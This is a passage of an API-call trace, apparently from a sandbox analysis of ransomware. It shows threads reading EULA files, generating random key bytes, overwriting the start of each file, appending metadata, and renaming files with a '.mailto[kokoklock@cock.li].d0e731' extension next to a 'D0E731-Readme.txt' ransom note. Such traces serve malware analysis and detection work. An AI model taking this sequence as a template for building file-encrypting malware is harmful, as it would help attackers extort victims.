_Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.684] wcscat (in: _Dest=0x33cd570, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.684] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.684] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd570) returned 1 [0080.684] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480480) returned 1 [0080.685] RtlExitUserThread (Status=0x1) Thread: id = 1018 os_tid = 0x16ec [0080.573] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pl-pl.htm")) returned 0x20 [0080.573] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm", dwFileAttributes=0x20) returned 1 [0080.573] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pl-pl.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0080.573] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x24a3f7a0 | out: lpFileSize=0x24a3f7a0*=81812) returned 1 [0080.573] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x13f90, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.574] ReadFile (in: hFile=0x454, lpBuffer=0x24a3f774, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24a3f770, lpOverlapped=0x0 | out: lpBuffer=0x24a3f774*, lpNumberOfBytesRead=0x24a3f770*=0x4, lpOverlapped=0x0) returned 1 [0080.643] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.644] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342df00 [0080.644] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dca8 [0080.644] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dc58 [0080.644] NtQuerySystemTime (in: CurrentTime=0x24a3f74c | out: CurrentTime=0x24a3f74c*=132121176385372872) returned 0x0 [0080.644] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0xdd7defbd [0080.644] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0xe5172d94 [0080.644] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0xe130fcec [0080.644] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0xbf623f48 [0080.644] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0xc65ac849 [0080.644] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0xbc0572cd [0080.644] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0x1f706489 [0080.644] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0x321f76bf [0080.644] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0x86ca7668 [0080.644] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0x56acb215 [0080.644] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0x3df70f96 [0080.644] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0x920386d4 [0080.644] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0x8abb2d36 [0080.644] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0x886c466f [0080.644] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0xa12c6f72 [0080.644] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0x51982fc9 [0080.644] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0x7dff910b [0080.644] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0x847a355e [0080.644] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0xf7b6ee1d [0080.644] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0x6a115508 [0080.644] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0x61ece81f [0080.644] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0x17c74ea4 [0080.644] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0x11553565 [0080.644] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0x540a08d9 [0080.644] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0xd598bb8a [0080.645] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0xa590286 [0080.645] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0x427e0ba7 [0080.645] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0xbbe07c7b [0080.645] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0xcf034f13 [0080.645] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0xb4f132bb [0080.645] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0x52aaa939 [0080.645] RtlRandom (in: Seed=0x24a3f758 | out: Seed=0x24a3f758) returned 0x57e3b1c [0080.655] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0080.655] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342df00) returned 1 [0080.655] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d40f0 [0080.655] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.655] ReadFile (in: hFile=0x454, lpBuffer=0x55d40f0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x24a3f724, lpOverlapped=0x0 | out: lpBuffer=0x55d40f0*, lpNumberOfBytesRead=0x24a3f724*=0x4096, lpOverlapped=0x0) returned 1 [0080.713] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.714] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0080.714] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0080.714] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dd48 [0080.714] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dd48) returned 1 [0080.714] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d0050 [0080.714] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ded8 [0080.714] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dd48 [0080.714] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dd48) returned 1 [0080.714] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0080.714] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0080.714] WriteFile (in: hFile=0x454, lpBuffer=0x55d0050*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x24a3f724, lpOverlapped=0x0 | out: lpBuffer=0x55d0050*, lpNumberOfBytesWritten=0x24a3f724*=0x4096, lpOverlapped=0x0) returned 1 [0080.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d0050) returned 1 [0080.715] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x13f94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.715] WriteFile (in: hFile=0x454, lpBuffer=0x342ded8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24a3f75c, lpOverlapped=0x0 | out: lpBuffer=0x342ded8*, lpNumberOfBytesWritten=0x24a3f75c*=0x20, lpOverlapped=0x0) returned 1 [0080.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ded8) returned 1 [0080.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d40f0) returned 1 [0080.718] WriteFile (in: hFile=0x454, lpBuffer=0x342e090*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24a3f770, lpOverlapped=0x0 | out: lpBuffer=0x342e090*, lpNumberOfBytesWritten=0x24a3f770*=0x8, lpOverlapped=0x0) returned 1 [0080.719] WriteFile (in: hFile=0x454, lpBuffer=0x24a3f788*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24a3f770, lpOverlapped=0x0 | out: lpBuffer=0x24a3f788*, lpNumberOfBytesWritten=0x24a3f770*=0x4, lpOverlapped=0x0) returned 1 [0080.719] WriteFile (in: hFile=0x454, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24a3f770, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x24a3f770*=0x4, lpOverlapped=0x0) returned 1 [0080.719] WriteFile (in: hFile=0x454, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x24a3f770, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x24a3f770*=0x6c, lpOverlapped=0x0) returned 1 [0080.719] WriteFile (in: hFile=0x454, lpBuffer=0x342dca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24a3f770, lpOverlapped=0x0 | out: lpBuffer=0x342dca8*, lpNumberOfBytesWritten=0x24a3f770*=0x20, lpOverlapped=0x0) returned 1 [0080.719] WriteFile (in: hFile=0x454, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24a3f770, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x24a3f770*=0x4, lpOverlapped=0x0) returned 1 [0080.719] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dca8) returned 1 [0080.719] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342de10) returned 1 [0080.719] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e090) returned 1 [0080.719] CloseHandle (hObject=0x454) returned 1 [0080.719] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428f98 [0080.719] wcscpy (in: _Dest=0x3428f98, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm" [0080.719] wcscat (in: _Dest=0x3428f98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm.mailto[kokoklock@cock.li].d0e731" [0080.719] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pl-pl.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pl-pl.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.720] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.720] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428f98) returned 1 [0080.720] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm", dwFileAttributes=0x20) returned 0 [0080.720] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd570 [0080.720] wcscpy (in: _Dest=0x33cd570, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.720] wcscat (in: _Dest=0x33cd570, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.720] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.720] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd570) returned 1 [0080.720] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0080.720] RtlExitUserThread (Status=0x1) Thread: id = 1019 os_tid = 0x16f0 [0080.576] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-br.htm")) returned 0x20 [0080.576] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm", dwFileAttributes=0x20) returned 1 [0080.576] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-br.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0080.576] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x24abf788 | out: lpFileSize=0x24abf788*=68292) returned 1 [0080.577] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x10ac0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.577] ReadFile (in: hFile=0x448, lpBuffer=0x24abf75c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24abf758, lpOverlapped=0x0 | out: lpBuffer=0x24abf75c*, lpNumberOfBytesRead=0x24abf758*=0x4, lpOverlapped=0x0) returned 1 [0080.629] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.629] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492578 [0080.629] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34917b8 [0080.629] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dff0 [0080.629] NtQuerySystemTime (in: CurrentTime=0x24abf734 | out: CurrentTime=0x24abf734*=132121176385216058) returned 0x0 [0080.629] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0x50bf4fb4 [0080.629] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0xb262dd29 [0080.629] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0xacee2940 [0080.629] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0xe70fddab [0080.629] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0xff64697c [0080.630] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0x57ab2e9 [0080.630] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0x47d717d8 [0080.630] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0xe426f11 [0080.630] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0x35d7a72c [0080.630] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0x7362c819 [0080.630] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0x6987f4c7 [0080.630] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0xef63ffa [0080.630] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0xd7c9ed88 [0080.630] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0x32d3193a [0080.630] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0xf968ce6b [0080.630] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0xa3dbdc9c [0080.630] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0x92062282 [0080.630] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0x816f8aa6 [0080.630] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0x105c7ca0 [0080.630] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0x90b0bc6d [0080.630] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0x3a3e2d3a [0080.630] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0xe7839430 [0080.630] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0xf688095e [0080.630] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0xeed9e454 [0080.630] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0xedf69057 [0080.630] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0x1efc81d [0080.630] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0x17088b66 [0080.630] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0x7f8f9ef6 [0080.630] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0x1e704678 [0080.630] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0x5b9b6888 [0080.630] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0xea7cbf9c [0080.630] RtlRandom (in: Seed=0x24abf740 | out: Seed=0x24abf740) returned 0x5e71c4ab [0080.641] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0080.641] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492578) returned 1 [0080.641] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d0050 [0080.643] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.643] ReadFile (in: hFile=0x448, lpBuffer=0x55d0050, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x24abf70c, lpOverlapped=0x0 | out: lpBuffer=0x55d0050*, lpNumberOfBytesRead=0x24abf70c*=0x4096, lpOverlapped=0x0) returned 1 [0080.710] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.710] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fce00 [0080.710] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480138 [0080.710] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dd48 [0080.710] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dd48) returned 1 [0080.710] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0080.710] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e040 [0080.710] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dc30 [0080.710] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dc30) returned 1 [0080.710] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480138) returned 1 [0080.710] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce00) returned 1 [0080.710] WriteFile (in: hFile=0x448, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x24abf70c, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x24abf70c*=0x4096, lpOverlapped=0x0) returned 1 [0080.711] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0080.711] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x10ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.711] WriteFile (in: hFile=0x448, lpBuffer=0x342e040*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24abf744, lpOverlapped=0x0 | out: lpBuffer=0x342e040*, lpNumberOfBytesWritten=0x24abf744*=0x20, lpOverlapped=0x0) returned 1 [0080.711] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e040) returned 1 [0080.711] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d0050) returned 1 [0080.711] WriteFile (in: hFile=0x448, lpBuffer=0x342df78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24abf758, lpOverlapped=0x0 | out: lpBuffer=0x342df78*, lpNumberOfBytesWritten=0x24abf758*=0x8, lpOverlapped=0x0) returned 1 [0080.711] WriteFile (in: hFile=0x448, lpBuffer=0x24abf770*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24abf758, lpOverlapped=0x0 | out: lpBuffer=0x24abf770*, lpNumberOfBytesWritten=0x24abf758*=0x4, lpOverlapped=0x0) returned 1 [0080.711] WriteFile (in: hFile=0x448, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24abf758, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x24abf758*=0x4, lpOverlapped=0x0) returned 1 [0080.711] WriteFile (in: hFile=0x448, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x24abf758, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x24abf758*=0x6c, lpOverlapped=0x0) returned 1 [0080.711] WriteFile (in: hFile=0x448, lpBuffer=0x34917b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24abf758, lpOverlapped=0x0 | out: lpBuffer=0x34917b8*, lpNumberOfBytesWritten=0x24abf758*=0x20, lpOverlapped=0x0) returned 1 [0080.711] WriteFile (in: hFile=0x448, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24abf758, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x24abf758*=0x4, lpOverlapped=0x0) returned 1 [0080.711] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34917b8) returned 1 [0080.711] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e068) returned 1 [0080.711] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342df78) returned 1 [0080.711] CloseHandle (hObject=0x448) returned 1 [0080.711] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428c00 [0080.712] wcscpy (in: _Dest=0x3428c00, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm" [0080.712] wcscat (in: _Dest=0x3428c00, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm.mailto[kokoklock@cock.li].d0e731" [0080.712] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-br.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-br.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.712] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.712] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428c00) returned 1 [0080.712] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm", dwFileAttributes=0x20) returned 0 [0080.712] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33ccd70 [0080.712] wcscpy (in: _Dest=0x33ccd70, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.712] wcscat (in: _Dest=0x33ccd70, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.712] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.713] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccd70) returned 1 [0080.713] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f9b8) returned 1 [0080.713] RtlExitUserThread (Status=0x1) Thread: id = 1020 os_tid = 0x16f4 [0080.578] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-pt.htm")) returned 0x20 [0080.578] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm", dwFileAttributes=0x20) returned 1 [0080.578] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-pt.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0080.578] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x24b3fc24 | out: lpFileSize=0x24b3fc24*=71054) returned 1 [0080.579] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x1158a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.579] ReadFile (in: hFile=0x458, lpBuffer=0x24b3fbf8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24b3fbf4, lpOverlapped=0x0 | out: lpBuffer=0x24b3fbf8*, lpNumberOfBytesRead=0x24b3fbf4*=0x4, lpOverlapped=0x0) returned 1 [0080.668] SetFilePointerEx (in: hFile=0x458, 